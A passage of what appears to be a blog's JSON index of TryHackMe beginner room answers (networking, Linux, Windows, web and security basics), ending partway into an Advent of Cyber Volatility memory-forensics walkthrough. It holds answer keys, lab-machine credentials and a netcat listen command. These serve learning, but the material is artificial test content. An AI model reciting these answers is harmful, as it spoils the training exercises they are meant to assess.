ftp-anon script against the box. Can Nmap login successfully to the FTP server on port 21? (Y/N)\nY\nConclusion Question 1: Read the conclusion.\nNo answer needed\n","permalink":"https://onebee.blog/blog/thm/complete-beginner/network-exploitation-basics/nmap/","summary":"THM | Complete Beginner | Network Exploitation Basics | Nmap","title":"Nmap"},{"content":"CHALLENGE INFORMATION\nPlatform: TryHackMe\nPath: Complete Beginner\nModule: Network Exploitation Basics\nRoom: Introductory Networking\nDescription: An introduction to networking theory and basic networking tools.\nIntroduction Question 1: Let\u0026rsquo;s get started!\nNo answer needed\nThe OSI Model: An Overview Question 1: Which layer would choose to send data over TCP or UDP?\n4\nQuestion 2: Which layer checks received information to make sure that it hasn\u0026rsquo;t been corrupted?\n2\nQuestion 3: In which layer would data be formatted in preparation for transmission?\n2\nQuestion 4: Which layer transmits and receives data?\n1\nQuestion 5: Which layer encrypts, compresses, or otherwise transforms the initial data to give it a standardised format?\n6\nQuestion 6: Which layer tracks communications between the host and receiving computers?\n5\nQuestion 7: Which layer accepts communication requests from applications?\n7\nQuestion 8: Which layer handles logical addressing?\n3\nQuestion 9: When sending data over TCP, what would you call the bite-sized pieces of data?\nSegments\nQuestion 10: Which layer would the FTP protocol communicate with?\n7\nQuestion 11: Which transport layer protocol would be best suited to transmit a live video?\nUDP\nEncapsulation Question 1: How would you refer to data at layer 2 of the encapsulation process (with the OSI model)?\nFrames\nQuestion 2: How would you refer to data at layer 4 of the encapsulation process (with the OSI model), if the UDP protocol has been selected?\nDatagrams\nQuestion 3: What process would a computer perform on a received message?\nDe-encapsulation\nQuestion 4: Which is the only layer of the OSI model to add a trailer during encapsulation?\nData Link\nQuestion 5: Does encapsulation provide an extra layer of security (Aye/Nay)?\nAye\nThe TCP/IP Model Question 1: Which model was introduced first, OSI or TCP/IP?\nTCP/IP\nQuestion 2: Which layer of the TCP/IP model covers the functionality of the Transport layer of the OSI model (Full Name)?\nTransport\nQuestion 3: Which layer of the TCP/IP model covers the functionality of the Session layer of the OSI model (Full Name)?\nApplication\nQuestion 4: The Network Interface layer of the TCP/IP model covers the functionality of two layers in the OSI model. These layers are Data Link, and?.. (Full Name)?\nPhysical\nQuestion 5: Which layer of the TCP/IP model handles the functionality of the OSI network layer?\nInternet\nQuestion 6: What kind of protocol is TCP?\nConnection-based\nQuestion 7: What is SYN short for?\nSynchronise\nQuestion 8: What is the second step of the three way handshake?\nSYN/ACK\nQuestion 9: What is the short name for the Acknowledgement segment in the three-way handshake?\nACK\nPing Question 1: What command would you use to ping the bbc.co.uk website?\nping bbc.co.uk\nQuestion 2: Ping muirlandoracle.co.uk - What is the IPv4 address?\n217.160.0.152\nQuestion 3: What switch lets you change the interval of sent ping requests?\n-i\nQuestion 4: What switch would allow you to restrict requests to IPv4?\n-4\nQuestion 5: What switch would give you a more verbose output?\n-v\nTraceroute Question 1: Use traceroute on tryhackme.com - Can you see the path your request has taken?\nNo answer needed\nQuestion 2: What switch would you use to specify an interface when using Traceroute?\n-i\nQuestion 3: What switch would you use if you wanted to use TCP SYN requests when tracing the route?\n-T\nQuestion 4: Which layer of the TCP/IP model will traceroute run on by default (Windows)?\nInternet\nWHOIS Question 1: Perform a whois search on facebook.com.\nNo answer needed\nQuestion 2: What is the registrant postal code for facebook.com?\n94025\nQuestion 3: When was the facebook.com domain first registered (Format: DD/MM/YYYY)?\n29/03/1997\nQuestion 4: Perform a whois search on microsoft.com.\nNote: Please ensure you have read the task above before attempting the next questions.\nNo answer needed\nQuestion 5: Which city is the registrant based in?\nRedmond\nQuestion 6: What is the name of the golf course that is near the registrant address for microsoft.com?\nBellevue Golf Course\nQuestion 7: What is the registered Tech Email for microsoft.com?\nmsnhst@microsoft.com\nDig Question 1: What is DNS short for?\nDomain Name System\nQuestion 2: What is the first type of DNS server your computer would query when you search for a domain?\nRecursive\nQuestion 3: What type of DNS server contains records specific to domain extensions (i.e. .com, .co.uk, etc)? Use the long version of the name.\nTop-Level Domain\nQuestion 4: Where is the very first place your computer would look to find the IP address of a domain?\nHosts File\nQuestion 5: Google runs two public DNS servers. One of them can be queried with the IP 8.8.8.8, what is the IP address of the other one?\n8.8.4.4\nQuestion 6: If a DNS query has a TTL of 24 hours, what number would the dig query show?\n86400\nFurther Reading Question 1: Read the final thoughts\nNo answer needed\n","permalink":"https://onebee.blog/blog/thm/complete-beginner/network-exploitation-basics/introductory-networking/","summary":"THM | Complete Beginner | Network Exploitation Basics | Introductory Networking","title":"Introductory Networking"},{"content":"CHALLENGE INFORMATION\nPlatform: TryHackMe\nPath: Complete Beginner\nModule: Complete Beginner Introduction\nRoom: Introductory Researching\nDescription: A brief introduction to research skills for pentesting.\nIntroduction Question 1: Read the Introduction\nNo answer needed\nExample Research Question Question 1: In the Burp Suite Program that ships with Kali Linux, what mode would you use to manually send a request (often repeating a captured request numerous times)?\nRepeater\nQuestion 2: What hash format are modern Windows login passwords stored in?\nNTLM\nQuestion 3: What are automated tasks called in Linux?\nCron Jobs\nQuestion 4: What number base could you use as a shorthand for base 2 (binary)?\nBase 16\nQuestion 5: If a password hash starts with $6$, what format is it (Unix variant)?\nsha512crypt\nVulnerability Searching Question 1: What is the CVE for the 2020 Cross-Site Scripting (XSS) vulnerability found in WPForms?\nCVE-2020-10385\nQuestion 2: There was a Local Privilege Escalation vulnerability found in the Debian version of Apache Tomcat, back in 2016. What\u0026rsquo;s the CVE for this vulnerability?\nCVE-2016-1240\nQuestion 3: What is the very first CVE found in the VLC media player?\nCVE-2007-0017\nQuestion 4: If you wanted to exploit a 2020 buffer overflow in the sudo program, which CVE would you use?\nCVE-2019-18634\nManual Pages Question 1: SCP is a tool used to copy files from one computer to another. What switch would you use to copy an entire directory?\n-r\nQuestion 2: fdisk is a command used to view and alter the partitioning scheme used on your hard drive. What switch would you use to list the current partitions?\n-l\nQuestion 3: Nano is an easy-to-use text editor for Linux. There are arguably better editors (Vim, being the obvious choice); however, nano is a great one to start with. What switch would you use to make a backup when opening a file with nano?\n-B\nQuestion 4: Netcat is a basic tool used to manually send and receive network requests. What command would you use to start netcat in listen mode, using port 12345?\nnc -l -p 12345\nFinal Thoughts Question 1: Research Complete!\nNo answer needed\n","permalink":"https://onebee.blog/blog/thm/complete-beginner/complete-beginner-introduction/introductory-researching/","summary":"THM | Complete Beginner | Complete Beginner Introduction | Introductory Researching","title":"Introductory Researching"},{"content":"CHALLENGE INFORMATION\nPlatform: TryHackMe\nPath: Complete Beginner\nModule: Complete Beginner Introduction\nRoom: Starting Out In Cyber Sec\nDescription: Learn about the different career paths in Cyber Security and how TryHackMe can help!\nWelcome To TryHackMe Question 1: Read Me and Proceed!\nNo answer needed\nOffensive Security Question 1: What is the name of the career role that is legally employed to find vulnerabilities in applications?\npenetration tester\nDefensive Security Question 1: What is the name of the role who\u0026rsquo;s job is to identify attacks against an organisation?\nsecurity analyst\n","permalink":"https://onebee.blog/blog/thm/complete-beginner/complete-beginner-introduction/starting-out-in-cyber-sec/","summary":"THM | Complete Beginner | Complete Beginner Introduction | Starting Out In Cyber Sec","title":"Starting Out In Cyber Sec"},{"content":"CHALLENGE INFORMATION\nPlatform: TryHackMe\nPath: Complete Beginner\nModule: Complete Beginner Introduction\nRoom: Tutorial\nDescription: Learn how to use a TryHackMe room to start your upskilling in cyber security.\nStarting your first machine Question 1: Follow the steps in this task. What is the flag text shown on the website of the machine you started on this task?\nA flag is just a piece of text that\u0026rsquo;s used to verify you\u0026rsquo;ve performed a certain action. In security challenges, users are asked to find flags to prove that they\u0026rsquo;ve successfully hacked a machine\n\u0026lt;redacted-flag\u0026gt;\n","permalink":"https://onebee.blog/blog/thm/complete-beginner/complete-beginner-introduction/tutorial/","summary":"THM | Complete Beginner | Complete Beginner Introduction | Tutorial","title":"Tutorial"},{"content":"CHALLENGE INFORMATION\nPlatform: TryHackMe\nPath: Introduction to Cyber Security\nModule: Introduction To Defensive Security\nRoom: Security Operations\nDescription: Learn about Security Operations Center (SOC): its responsibilities, services, and data sources.\nIntroduction to Security Operations Question 1: What does SOC stand for?\nSecurity Operations Center\nQuestion 2: How many hours a day does the SOC monitor the network?\n24\nElements of Security Operations Question 1: What does NSM stand for?\nNetwork Security Monitoring\nPractical Example of SOC Question 1: Add the necessary firewall rules to block the ongoing attack. What is the flag that you have received after successfully stopping the attack?\n\u0026lt;redacted-flag\u0026gt;\n","permalink":"https://onebee.blog/blog/thm/introduction-to-cyber-security/introduction-to-defensive-security/security-operations/","summary":"THM | Introduction To Cyber Security | Introduction To Defensive Security | Security Operations","title":"Security Operations"},{"content":"CHALLENGE INFORMATION\nPlatform: TryHackMe\nPath: Introduction to Cyber Security\nModule: Introduction To Defensive Security\nRoom: Intro to Digital Forensics\nDescription: Learn about digital forensics and related processes and experiment with a practical example.\nIntroduction To Digital Forensics Question 1: Consider the desk in the photo above. In addition to the smartphone, camera, and SD cards, what would be interesting for digital forensics?\nlaptop\nDigital Forensics Process Question 1: It is essential to keep track of who is handling it at any point in time to ensure that evidence is admissible in the court of law. What is the name of the documentation that would help establish that?\nChain of Custody\nPractical Example of Digital Forensics Question 1: Using \u0026lsquo;pdfinfo\u0026rsquo;, find out the author of the attached PDF file, ransom-letter.pdf.\nAnn Gree Shepherd\nQuestion 2: Using \u0026rsquo;exiftool\u0026rsquo; or any similar tool, try to find where the kidnappers took the image they attached to their document. What is the name of the street?\nMilk Street\nQuestion 3: What is the model name of the camera used to take this photo?\nCanon EOS R6\n","permalink":"https://onebee.blog/blog/thm/introduction-to-cyber-security/introduction-to-defensive-security/intro-to-digital-forensics/","summary":"THM | Introduction To Cyber Security | Introduction To Defensive Security | Intro to Digital Forensics","title":"Intro to Digital Forensics"},{"content":"CHALLENGE INFORMATION\nPlatform: TryHackMe\nPath: Introduction to Cyber Security\nModule: Introduction To Offensive Security\nRoom: Network Security\nDescription: Learn about network security, understand attack methodology, and practice hacking into a target server.\nIntroduction Question 1: What type of firewall is Windows Defender Firewall?\nHost firewall\nMethodology Question 1: During which step of the Cyber Kill Chain does the attacker gather information about the target?\nRecon\nPractical Example of Network Security Question 1: What is the password in the secret.txt file?\nABC789xyz123\nQuestion 2: What is the content of the flag.txt in the /root directory?\n\u0026lt;redacted-flag\u0026gt;\nQuestion 3: What is the content of the flag.txt in the /home/librarian directory?\n\u0026lt;redacted-flag\u0026gt;\n","permalink":"https://onebee.blog/blog/thm/introduction-to-cyber-security/introduction-to-offensive-security/network-security/","summary":"THM | Introduction To Cyber Security | Introduction To Offensive Security | Network Security","title":"Network Security"},{"content":"CHALLENGE INFORMATION\nPlatform: TryHackMe\nPath: Introduction to Cyber Security\nModule: Introduction To Offensive Security\nRoom: Operating System Security\nDescription: This room introduces users to operating system security and demonstrates SSH authentication on Linux.\nIntroduction to Operating System Security Question 1: Which of the following is not an operating system?\nThunderbird\nCommon Examples of OS Security Question 1: Which of the following is a strong password, in your opinion?\niloveyou ; 1q2w3e4r5t ; LearnM00r ; qwertyuiop\nLearnM00r\nPractical Example of OS Security Question 1: Based on the top 7 passwords, let’s try to find Johnny’s password. What is the password for the user johnny?\nabc123\nQuestion 2: Once you are logged in as Johnny, use the command \u0026lsquo;history\u0026rsquo; to check the commands that Johnny has typed. We expect Johnny to have mistakenly typed the root password instead of a command. What is the root password?\nhappyHack!NG\nQuestion 3: While logged in as Johnny, use the command \u0026lsquo;su - root\u0026rsquo; to switch to the root account. Display the contents of the file flag.txt in the root directory. What is the content of the file?\n\u0026lt;redacted-flag\u0026gt;\n","permalink":"https://onebee.blog/blog/thm/introduction-to-cyber-security/introduction-to-offensive-security/operating-system-security/","summary":"THM | Introduction To Cyber Security | Introduction To Offensive Security | Operating System Security","title":"Operating System Security"},{"content":"CHALLENGE INFORMATION\nPlatform: TryHackMe\nPath: Introduction to Cyber Security\nModule: Introduction To Offensive Security\nRoom: Web Application Security\nDescription: Learn about web applications and explore some of their common security issues.\nIntroduction Question 1: What do you need to access a web application?\nBrowser\nWeb Application Security Risks Question 1: You discovered that the login page allows an unlimited number of login attempts without trying to slow down the user or lock the account. What is the category of this security risk?\nIdentification and Authentication Failure\nQuestion 2: You noticed that the username and password are sent in cleartext without encryption. What is the category of this security risk?\nCryptographic Failures\nPractical Example of Web Application Security Question 1: Check the other users to discover which user account was used to make the malicious changes and revert them. After reverting the changes, what is the flag that you have received?\n\u0026lt;redacted-flag\u0026gt;\n","permalink":"https://onebee.blog/blog/thm/introduction-to-cyber-security/introduction-to-offensive-security/web-application-security/","summary":"THM | Introduction To Cyber Security | Introduction To Offensive Security | Web Application Security","title":"Web Application Security"},{"content":"CHALLENGE INFORMATION\nPlatform: TryHackMe\nPath: Pre Security\nModule: Windows Fundamentals\nRoom: Windows Fundamentals 3\nDescription: In part 3 of the Windows Fundamentals module, learn about the built-in Microsoft tools that help keep the device secure, such as Windows Updates, Windows Security, BitLocker, and more\u0026hellip;\nIntroduction Question 1: Read the above and start the virtual machine.\nNo answer needed\nWindows Updates Question 1: There were two definition updates installed in the attached VM. On what date were these updates installed?\n5/3/2021\nWindows Security Question 1: Checking the Security section on your VM, which area needs immediate attention?\nVirus \u0026amp; threat protection\nVirus \u0026amp; threat protection Question 1: Specifically, what is turned off that Windows is notifying you to turn on?\nReal-time protection\nFirewall \u0026amp; network protection Question 1: If you were connected to airport Wi-Fi, what most likely will be the active firewall profile?\nPublic network\nApp \u0026amp; browser control Question 1: Read the above.\nNo answer needed\nDevice security Question 1: What is the TPM?\nTrusted Platform Module\nBitLocker Question 1: We should use a removable drive on systems without a TPM version 1.2 or later. What does this removable drive contain?\nstartup key\nVolume Shadow Copy Service Question 1: What is VSS?\nVolume Shadow Copy Service\nConclusion Question 1: Read the above.\nNo answer needed\n","permalink":"https://onebee.blog/blog/thm/pre-security/windows-fundamentals/windows-fundamentals-3/","summary":"THM | Pre Security | Windows Fundamentals | Windows Fundamentals 3","title":"Windows Fundamentals 3"},{"content":"CHALLENGE INFORMATION\nPlatform: TryHackMe\nPath: Pre Security\nModule: Windows Fundamentals\nRoom: Windows Fundamentals 2\nDescription: In part 2 of the Windows Fundamentals module, discover more about System Configuration, UAC Settings, Resource Monitoring, the Windows Registry and more\u0026hellip;\nIntroduction Question 1: Read above and start the virtual machine.\nNo answer needed\nSystem Configuration Question 1: What is the name of the service that lists Systems Internals as the manufacturer?\nPsShutdown\nQuestion 2: Whom is the Windows license registered to?\nWindows User\nQuestion 3: What is the command for Windows Troubleshooting?\nC:\\Windows\\System32\\control.exe /name Microsoft.Troubleshooting\nQuestion 4: What command will open the Control Panel? (The answer is the name of .exe, not the full path)\ncontrol.exe\nChange UAC Settings Question 1: What is the command to open User Account Control Settings? (The answer is the name of the .exe file, not the full path)\nUserAccountControlSettings.exe\nComputer Management Question 1: What is the command to open Computer Management? (The answer is the name of the .msc file, not the full path)\ncompmgmt.msc\nQuestion 2: At what time every day is the GoogleUpdateTaskMachineUA task configured to run?\n6:15 AM\nQuestion 3: What is the name of the hidden folder that is shared?\nsh4r3dF0Ld3r\nSystem Information Question 1: What is the command to open System Information? (The answer is the name of the .exe file, not the full path)\nmsinfo32.exe\nQuestion 2: What is listed under System Name?\nTHM-WINFUN2\nQuestion 3: Under Environment Variables, what is the value for ComSpec?\n%SystemRoot%\\system32\\cmd.exe\nResource Monitor Question 1: What is the command to open Resource Monitor? (The answer is the name of the .exe file, not the full path)\nresmon.exe\nCommand Prompt Question 1: In System Configuration, what is the full command for Internet Protocol Configuration?\nC:\\Windows\\System32\\cmd.exe /k %windir%\\system32\\ipconfig.exe\nQuestion 2: For the ipconfig command, how do you show detailed information?\nipconfig /all\nRegistry Editor Question 1: What is the command to open the Registry Editor? (The answer is the name of the .exe file, not the full path)\nregedt32.exe\nConclusion Question 1: Read above.\nNo answer needed\n","permalink":"https://onebee.blog/blog/thm/pre-security/windows-fundamentals/windows-fundamentals-2/","summary":"THM | Pre Security | Windows Fundamentals | Windows Fundamentals 2","title":"Windows Fundamentals 2"},{"content":"CHALLENGE INFORMATION\nPlatform: TryHackMe\nPath: Pre Security\nModule: Windows Fundamentals\nRoom: Windows Fundamentals 1\nDescription: In part 1 of the Windows Fundamentals module, we\u0026rsquo;ll start our journey learning about the Windows desktop, the NTFS file system, UAC, the Control Panel, and more\u0026hellip;\nIntroduction to Windows Question 1: Read above and start the virtual machine.\nNo answer needed\nWindows Editions Question 1: What encryption can you enable on Pro that you can\u0026rsquo;t enable in Home?\nBitLocker\nThe Desktop (GUI) Question 1: Which selection will hide/disable the Search box?\nHidden\nQuestion 2: Which selection will hide/disable the Task View button?\nShow Task View button\nQuestion 3: Besides Clock and Network, what other icon is visible in the Notification Area?\nAction Center\nThe File System Question 1: What is the meaning of NTFS?\nNew Technology File System\nThe Windows\\System32 Folders Question 1: What is the system variable for the Windows folder?\n%windir%\nUser Accounts, Profiles, and Permissions Question 1: What is the name of the other user account?\ntryhackmebilly\nQuestion 2: What groups is this user a member of?\nRemote Desktop Users,Users\nQuestion 3: What built-in account is for guest access to the computer?\nGuest\nQuestion 4: What is the account description?\nwindow$Fun1!\nUser Account Control Question 1: What does UAC mean?\nUser Account Control\nSettings and the Control Panel Question 1: In the Control Panel, change the view to Small icons. What is the last setting in the Control Panel view?\nWindows Defender Firewall\nTask Manager Question 1: What is the keyboard shortcut to open Task Manager?\nCtrl+Shift+Esc\nConclusion Question 1: Read above and terminate the Windows machine you deployed in this room.\nNo answer needed\n","permalink":"https://onebee.blog/blog/thm/pre-security/windows-fundamentals/windows-fundamentals-1/","summary":"THM | Pre Security | Windows Fundamentals | Windows Fundamentals 1","title":"Windows Fundamentals 1"},{"content":"CHALLENGE INFORMATION\nPlatform: TryHackMe\nPath: Pre Security\nModule: Linux Fundamentals\nRoom: Linux Fundamentals Part 3\nDescription: Power-up your Linux skills and get hands-on with some common utilities that you are likely to use day-to-day!\nIntroduction Question 1: Let\u0026rsquo;s proceed!\nNo answer needed\nDeploy Your Linux Machine Question 1: I\u0026rsquo;ve logged into the Linux Fundamentals Part 3 machine using SSH and have deployed the AttackBox successfully!\nNo answer needed\nTerminal Text Editors Question 1: Create a file using Nano.\nNo answer needed\nQuestion 2: Edit task3 located in tryhackme\u0026rsquo;s home directory using Nano. What is the flag?\n\u0026lt;redacted-flag\u0026gt;\nGeneral/Useful Utilities Question 1: Ensure you are connected to the deployed instance \u0026lt;machine-ip\u0026gt;.\nNo answer needed\nQuestion 2: Now, use Python 3\u0026rsquo;s HTTPServer module to start a web server in the home directory of the tryhackme user on the deployed instance.\nNo answer needed\nQuestion 3: Download the file http://\u0026lt;machine-ip\u0026gt;:8000/.flag.txt onto the TryHackMe AttackBox. Remember, you will need to do this in a new terminal. What are the contents?\n\u0026lt;redacted-flag\u0026gt;\nQuestion 4: Create and download files to further apply your learning \u0026ndash; see how you can read the documentation on Python3\u0026rsquo;s HTTPServer module. Use Ctrl+C to stop the Python3 HTTPServer module once you are finished.\nNo answer needed\nProcesses 101 Question 1: Read me!\nNo answer needed\nQuestion 2: If we were to launch a process where the previous ID was 300, what would the ID of this new process be?\n301\nQuestion 3: If we wanted to cleanly kill a process, what signal would we send it?\nSIGTERM\nQuestion 4: Locate the process that is running on the deployed instance \u0026lt;machine-ip\u0026gt;. What flag is given?\n\u0026lt;redacted-flag\u0026gt;\nQuestion 5: What command would we use to stop the service myservice?\nsystemctl stop myservice\nQuestion 6: What command would we use to start the same service on the boot-up of the system?\nsystemctl enable myservice\nQuestion 7: What command would we use to bring a previously backgrounded process back to the foreground?\nfg\nMaintaining Your System: Automation Question 1: Ensure you are connected to the deployed instance and look at the running crontabs.\nNo answer needed\nQuestion 2: When will the crontab on the deployed instance \u0026lt;machine-ip\u0026gt; run?\n@reboot\nMaintaining Your System: Package Management Question 1: Since TryHackMe instances do not have an internet connection\u0026hellip;this task only requires you to read through the material.\nNo answer needed\nMaintaining Your System: Logs Question 1: Look for the apache2 logs on the deployable Linux machine\nNo answer needed\nQuestion 2: What is the IP address of the user who visited the site?\n10.9.232.111\nQuestion 3: What file did they access?\ncatsanddogs.jpg\nConclusions \u0026amp; Summaries Question 1: Terminate the machine deployed in this room from task 2.\nNo answer needed\nQuestion 2: Continue your learning in other Linux-dedicated rooms\nNo answer needed\n","permalink":"https://onebee.blog/blog/thm/pre-security/linux-fundamentals/linux-fundamentals-part-3/","summary":"THM | Pre Security | Linux Fundamentals | Linux Fundamentals Part 3","title":"Linux Fundamentals Part 3"},{"content":"CHALLENGE INFORMATION\nPlatform: TryHackMe\nPath: Pre Security\nModule: Linux Fundamentals\nRoom: Linux Fundamentals Part 2\nDescription: Continue your learning Linux journey with part two. You will be learning how to log in to a Linux machine using SSH, how to advance your commands, file system interaction.\nIntroduction Question 1: Let\u0026rsquo;s proceed!\nNo anwer needed\nAccessing Your Linux Machine Using SSH (Deploy) Question 1: I\u0026rsquo;ve logged into the Linux Fundamentals Part 2 machine using SSH!\nNo anwer needed\nIntroduction to Flags and Switches This section covers the use of manual pages and command-line flags to modify command behavior.\nQuestion 1: Explore the manual page of the ls command.\nNo anwer needed\nQuestion 2: What directional arrow key would we use to navigate down the manual page?\ndown\nQuestion 3: What flag would we use to display the output in a human-readable way?\n-h\nFilesystem Interaction Continued This section expands on file manipulation commands, including creating, identifying, moving, and reading files.\nQuestion 1: How would you create the file named newnote?\ntouch newnote\nQuestion 2: On the deployable machine, what is the file type of unknown1 in tryhackme\u0026rsquo;s home directory?\nASCII text\nQuestion 3: How would we move the file myfile to the directory myfolder ?\nmv myfile myfolder\nQuestion 4: What are the contents of this file?\n\u0026lt;redacted-flag\u0026gt;\nQuestion 5: Continue to apply your knowledge and practice the commands from this task.\nNo answer needed\nPermissions 101 This section introduces file ownership and user switching using the su command.\nQuestion 1: On the deployable machine, who is the owner of important?\nuser2\nQuestion 2: What would the command be to switch to the user user2?\nsu user2\nQuestion 3: Now switch to this user user2 using the password user2.\nNo answer needed\nQuestion 4: Output the contents of important, what is the flag?\n\u0026lt;redacted-flag\u0026gt;\nCommon Directories This section covers standard Linux directory structures and their purposes.\nQuestion 1: Read me!\nNo answer needed\nQuestion 2: What is the directory path that would we expect logs to be stored in?\n/var/log\nQuestion 3: What root directory is similar to how RAM on a computer works?\n/tmp\nQuestion 4: Name the home directory of the root user.\n/root\nQuestion 5: Now apply your learning and navigate through these directories on the deployed Linux machine.\nNo answer needed\nConclusions and Summaries Question 1: Proceed to the next task to continue your learning.\nNo answer needed\nLinux Fundamentals Part 3 Question 1: Terminate the machine from task 2!\nNo answer needed\nQuestion 2: Join Linux Fundamentals Part 3!\nNo answer needed\n","permalink":"https://onebee.blog/blog/thm/pre-security/linux-fundamentals/linux-fundamentals-part-2/","summary":"THM | Pre Security | Linux Fundamentals | Linux Fundamentals Part 2","title":"Linux Fundamentals Part 2"},{"content":"CHALLENGE INFORMATION\nPlatform: TryHackMe\nPath: Pre Security\nModule: Linux Fundamentals\nRoom: Linux Fundamentals Part 1\nDescription: Embark on the journey of learning the fundamentals of Linux. Learn to run some of the first essential commands on an interactive terminal.\nIntroduction This room introduces the basics of the Linux operating system and provides hands-on experience with fundamental commands. We begin by deploying an interactive terminal and progress through essential navigation and file system operations.\nQuestion 1: Let\u0026rsquo;s get started!\nNo answer needed.\nA Bit of Background on Linux Before diving into commands, we examine the origins of Linux. The Linux kernel was first released by Linus Torvalds in 1991 as a free and open-source operating system kernel.\nQuestion 1: Research: What year was the first release of a Linux operating system?\n1991\nInteracting with Your First Linux Machine (In-Browser) We deploy our first Linux virtual machine using TryHackMe\u0026rsquo;s in-browser terminal. This provides a sandboxed environment for practicing commands without requiring local installation.\nQuestion 1: I\u0026rsquo;ve deployed my first Linux machine!\nNo answer needed.\nRunning Your First Few Commands This section covers basic command execution. The echo command outputs text to the terminal, and the whoami command displays the current username.\nQuestion 1: If we wanted to output the text TryHackMe, what would our command be?\necho \u0026quot;TryHackMe\u0026quot;\nQuestion 2: What is the username of who you\u0026rsquo;re logged in as on your deployed Linux machine?\ntryhackme\nInteracting with the File System! We explore the Linux file system hierarchy using commands such as ls to list directories, cd to change directories, and cat to display file contents. Understanding file system navigation is essential for effective Linux operation.\nQuestion 1: On the Linux machine that you deploy, how many folders are there?\n4\nQuestion 2: Which directory contains a file?\nfolder4\nQuestion 3: What are the contents of this file?\nHello World\nQuestion 4: Use the cd command to navigate to this file and find out the new current working directory. What is the path?\n/home/tryhackme/folder4\nSearching for Files The grep command allows us to search for patterns within files. This is particularly useful for filtering log files or searching for specific strings, such as flags.\nQuestion 1: Use grep on access.log to find the flag that has a prefix of THM. What is the flag?\n\u0026lt;redacted-flag\u0026gt;\nQuestion 2: And I still haven\u0026rsquo;t found what I\u0026rsquo;m looking for!\nNo answer needed.\nAn Introduction to Shell Operators Shell operators provide powerful redirection and process control capabilities. The ampersand (\u0026amp;) runs commands in the background, while the angle brackets (\u0026gt; and \u0026gt;\u0026gt;) handle output redirection. The single greater-than (\u0026gt;) overwrites file contents, and the double greater-than (\u0026gt;\u0026gt;) appends to existing files.\nQuestion 1: If we wanted to run a command in the background, what operator would we want to use?\n\u0026amp;\nQuestion 2: If I wanted to replace the contents of a file named passwords with the word password123, what would my command be?\necho password123 \u0026gt; passwords\nQuestion 3: Now if I wanted to add tryhackme to this file named passwords but also keep passwords123, what would my command be?\necho tryhackme \u0026gt;\u0026gt; passwords\nQuestion 4: Now use the deployed Linux machine to put these into practice.\nNo answer needed.\nConclusions and Summaries This room established foundational skills in Linux command-line operation, including navigation, file manipulation, text output, and redirection operators. These concepts form the basis for more advanced system administration and security tasks.\nQuestion 1: I\u0026rsquo;ll have a play around!\nNo answer needed.\nLinux Fundamentals Part 2 Upon completing this room, we terminate the deployed machine to conserve resources and proceed to the next module in the series.\nQuestion 1: Terminate the machine deployed in this room from task 3.\nNo answer needed.\nQuestion 2: Join Linux Fundamentals Part 2!\nNo answer needed.\n","permalink":"https://onebee.blog/blog/thm/pre-security/linux-fundamentals/linux-fundamentals-part-1/","summary":"THM | Pre Security | Linux Fundamentals | Linux Fundamentals Part 1","title":"Linux Fundamentals Part 1"},{"content":"Challenge Information\nPlatform: TryHackMe\nPath: Pre-Security\nModule: How the Web Works\nRoom: Putting It All Together\nDescription: Learn how all the individual components of the web work together to bring you access to your favorite websites.\nIntroduction We begin this room by reading a brief overview that sets the stage for the topics ahead. This section provides foundational context before we dive into the specific components of web infrastructure.\nQuestion 1: I\u0026rsquo;ve read this\u0026hellip;\nNo answer needed\nOther Components This section introduces four critical infrastructure components: load balancers, content delivery networks (CDNs), databases, and web application firewalls (WAFs).\nUnderstanding how these elements function independently \u0026ndash; and how they integrate into the broader web ecosystem \u0026ndash; is essential for grasping modern web architecture.\nQuestion 1: What can be used to host static files and speed up a clients visit to a website?\nCDN\nQuestion 2: What does a load balancer perform to make sure a host is still alive?\nhealth check\nQuestion 3: What can be used to help against the hacking of a website?\nWAF\nHow Web Servers Work Next, we examine web servers and their operational mechanics. We explore the distinction between static and dynamic content, as well as the role of backend processing in modern web applications.\nQuestion 1: What does web server software use to host multiple sites?\nVirtual Hosts\nQuestion 2: What is the name for the type of content that can change?\nDynamic\nQuestion 3: Does the client see the backend code? Yay/Nay\nNay\nQuiz The final task requires assembling the components of a web request in the correct chronological order. We drag and drop the tiles to map the flow of a request from initiation to response.\nFigure 1: Mapping the correct order of a web request\nFigure 2: Mapping the correct order of a web request, part 1\nFigure 3: Mapping the correct order of a web request, part 2\nAfter placing the last tile into its rightful place, we are rewarded with a pop-up window displaying the flag.\nFigure 4: Redacted flag\nQuestion 1: Flag\n\u0026lt;redacted-flag\u0026gt;\nConclusion We have now reached the end of this room \u0026ndash; and with it, the completion of the entire How the Web Works module. As the saying goes: three down, two to go.\n","permalink":"https://onebee.blog/blog/thm/pre-security/how-the-web-works/putting-it-all-together/","summary":"THM | Pre-Security | How the Web Works | Putting It All Together","title":"Putting It All Together"},{"content":"CHALLENGE INFORMATION\nPlatform: TryHackMe\nEvent: Advent of Cyber 2023\nDays: 19-24\nDay-19 CrypTOYminers Sing Volala-lala-latility\nStoryline\nWhile monitoring network traffic at the Security Operations Centre, we identify suspicious activity originating from a Linux database server. To investigate this insider threat, we capture a memory dump of the affected server and generate a corresponding Linux profile for analysis.\nMemory Forensics Walkthrough\nMemory forensics involves analyzing a computer\u0026rsquo;s volatile RAM to uncover evidence of security incidents, such as running processes and network connections, which are lost when a system is powered down. Because capturing RAM is faster and produces smaller files than full disk imaging, we can use it to identify indicators of compromise (IOCs) more rapidly during an incident response.\nTo perform this analysis, we use the Volatility framework. Since Linux memory layouts vary by distribution and kernel version, we must use a specific profile that matches the target system\u0026rsquo;s architecture. After configuring Volatility with the correct Linux profile, we can employ several plugins to investigate the system state:\nlinux_bash: We use this to recover command history, which allows us to identify suspicious activity, such as the unauthorized downloading and execution of a cryptominer. linux_pslist: We use this to list active processes and their parent-child relationships, helping us spot anomalies like a fake \u0026ldquo;mysqlserver\u0026rdquo; process. linux_procdump: We use this to extract the binaries of suspicious processes from memory for further malware analysis and hash generation. linux_enumerate_files and linux_find_file: We use these to search for and extract specific files, such as crontabs, to uncover persistence mechanisms used by an attacker to survive system reboots. Practical\n# SSH credentials # username: ubuntu # password: volatility # different help options vol.py -h # display available profiles # profiles for linux os have to be manually created from the same device the memory dump is from vol.py --info # already created profile @ /home/ubuntu/Desktop/Evidence/Ubuntu_5.4.0-163-generic_profile.zip cd ~/Desktop/Evidence ls # copy to where Volatility stores the various profiles for linux cp Ubuntu_5.4.0-163-generic_profile.zip ~/.local/lib/python2.7/site-packages/volatility/plugins/overlays/linux/ # confirm our profile is set vol.py --info | grep Ubuntu # creating a linux profile -- https://beguier.eu/nicolas/articles/security-tips-3-volatility-linux-profiles.html # ------------------------------------ # # analyze the dump with `volatility` # -f:file; --profile:profile; -h:list at all 